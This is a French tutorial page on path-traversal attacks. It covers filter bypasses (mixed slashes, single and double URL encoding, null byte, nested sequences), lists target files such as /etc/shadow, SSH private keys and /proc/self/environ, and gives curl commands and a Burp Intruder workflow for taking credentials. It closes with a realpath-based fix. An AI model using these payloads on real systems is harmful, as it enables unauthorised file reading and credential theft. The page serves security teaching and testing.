Path traversal : sortir du répertoire autorisé
Le path traversal exploite la façon dont un serveur résout les chemins de fichiers. Quand une application construit un chemin à partir d’une entrée utilisateur sans le normaliser correctement, les séquences ../ permettent de remonter dans l’arborescence et d’atteindre des fichiers en dehors du répertoire prévu.
Principe
Section intitulée « Principe »Une application sert des fichiers depuis /var/www/uploads/ en construisant le chemin ainsi :
filepath = "/var/www/uploads/" + user_inputAvec user_input = "../../../etc/passwd", le chemin résolu devient /etc/passwd.
Un filtre naïf qui supprime ../ laisse passer de nombreuses variantes qui produisent le même résultat après normalisation par le système d’exploitation.
Variantes de bypass
Section intitulée « Variantes de bypass »Mixage slashes et antislashes
Section intitulée « Mixage slashes et antislashes »Les systèmes Windows acceptent indifféremment / et \. Certains serveurs Linux ou frameworks normalisent aussi les antislashes. La combinaison des deux trompe les filtres qui cherchent un pattern fixe :
..\/..\/..\/etc/passwd..\/..\/..\etc\passwd..%5c..%5c..%5cetc%5cpasswdUne validation qui cherche ../ ne détecte pas ..\/. Après normalisation système, les deux produisent la même remontée de répertoire.
Chemin avec suffixe légitime
Section intitulée « Chemin avec suffixe légitime »Certains filtres vérifient que le chemin se termine par une extension autorisée. Ajouter le suffixe en fin de chaîne, avant ou après la séquence de traversal :
CeciEstUnTest/../../../etc/passwdimages/photo.png/../../../../../../etc/passwduploads/avatar.jpg/../../../etc/shadowLe suffixe satisfait la validation de format. Le chemin normalisé remonte quand même jusqu’à la cible.
Encodage URL
Section intitulée « Encodage URL »Les serveurs décodent les paramètres URL avant de résoudre les chemins. Encoder les caractères sensibles contourne les filtres qui cherchent les séquences en clair :
# Encodage simple..%2F..%2F..%2Fetc%2Fpasswd (/ → %2F)..%5C..%5C..%5Cetc%5Cpasswd (\ → %5C)%2e%2e%2F%2e%2e%2F (. → %2e, / → %2F)
# Double encodage (si le serveur décode deux fois)..%252F..%252F..%252Fetc%252Fpasswd (%2F encodé → %252F)..%255C..%255C (%5C encodé → %255C)Null byte (PHP < 5.3, C)
Section intitulée « Null byte (PHP < 5.3, C) »Le null byte tronque la chaîne au niveau du système de fichiers. L’extension après le null byte n’est jamais résolue :
../../../etc/passwd%00.png../../../etc/passwd%00.jpgTraversal répété
Section intitulée « Traversal répété »Certains filtres suppriment ../ une seule fois, sans boucler. La séquence imbriquée se reconstitue après suppression :
....//....//....//etc/passwd..././..././..././etc/passwd....\/....\/....\/etc/passwdEn supprimant ../, ....// devient ../, la traversal est préservée.
Cibles courantes
Section intitulée « Cibles courantes »/etc/passwd → liste des utilisateurs/etc/shadow → hashes des mots de passe (root requis)/etc/hosts → résolution de noms locale/etc/hostname → nom de la machine/proc/self/environ → variables d'environnement du processus serveur/proc/self/cmdline → ligne de commande du processus/proc/self/fd/0 → stdin du processus~/.ssh/id_rsa → clé privée SSH de l'utilisateur courant/var/log/apache2/access.log/var/log/nginx/access.logC:\Windows\System32\drivers\etc\hostsC:\Windows\win.iniC:\Windows\System32\win.iniC:\inetpub\wwwroot\web.configC:\Users\Administrator\.ssh\id_rsaC:\xampp\apache\conf\httpd.confTester avec curl
Section intitulée « Tester avec curl »# Basiquecurl "http://cible/download?file=../../../etc/passwd"
# Mixage slash / antislashcurl "http://cible/download?file=..%5c..%5c..%5cetc%5cpasswd"
# Encodage doublecurl "http://cible/download?file=..%252F..%252F..%252Fetc%252Fpasswd"
# Avec suffixecurl "http://cible/download?file=images/photo.png/../../../etc/passwd"
# Traversal répétécurl "http://cible/download?file=....//....//....//etc/passwd"Automatiser avec Burp Suite Intruder
Section intitulée « Automatiser avec Burp Suite Intruder »- Intercepter la requête contenant le paramètre de chemin
- Envoyer vers Intruder
- Poser un marqueur sur la valeur du paramètre :
file=§valeur§ - Charger une wordlist de path traversal (disponible dans SecLists :
Fuzzing/LFI/LFI-Jhaddix.txt) - Lancer l’attaque et filtrer les réponses par longueur ou code HTTP
# Télécharger SecLists si absentgit clone https://github.com/danielmiessler/SecLists /opt/SecLists
# Wordlist dédiée path traversal / LFI/opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txtWorkflow en pratique
Section intitulée « Workflow en pratique »1. Identifier les paramètres qui référencent des fichiers ?file= ?path= ?page= ?template= ?doc= ?img= ?filename=
2. Tester la traversal basique ?file=../../../etc/passwd → réponse contient "root:" → vulnérabilité confirmée
3. Si refusé → tester les bypasses dans l'ordre → mixage slash/antislash : ..\/..\/ → encodage URL simple : %2F %5C %2e → double encodage : %252F %255C → suffixe légitime en fin de chemin → traversal répété : ....//
4. Une fois la lecture confirmée → /etc/passwd pour lister les utilisateurs → /proc/self/environ pour les variables d'env (credentials, tokens) → fichiers de config de l'appli (connection strings, clés API) → clés SSH dans les home directories identifiés via /etc/passwdÀ retenir
Section intitulée « À retenir »Filtrer ../ ou ..\\ en entrée ne suffit pas si la chaîne n’est pas normalisée avant la vérification. La protection fiable consiste à résoudre le chemin complet (realpath() en PHP, os.path.realpath() en Python, Path.toRealPath() en Java) puis à vérifier que le chemin résolu commence bien par le répertoire autorisé, avant toute lecture du fichier.
$base = realpath('/var/www/uploads/');$target = realpath($base . '/' . $user_input);
if (strpos($target, $base) !== 0) { // chemin hors du répertoire autorisé http_response_code(403); exit;}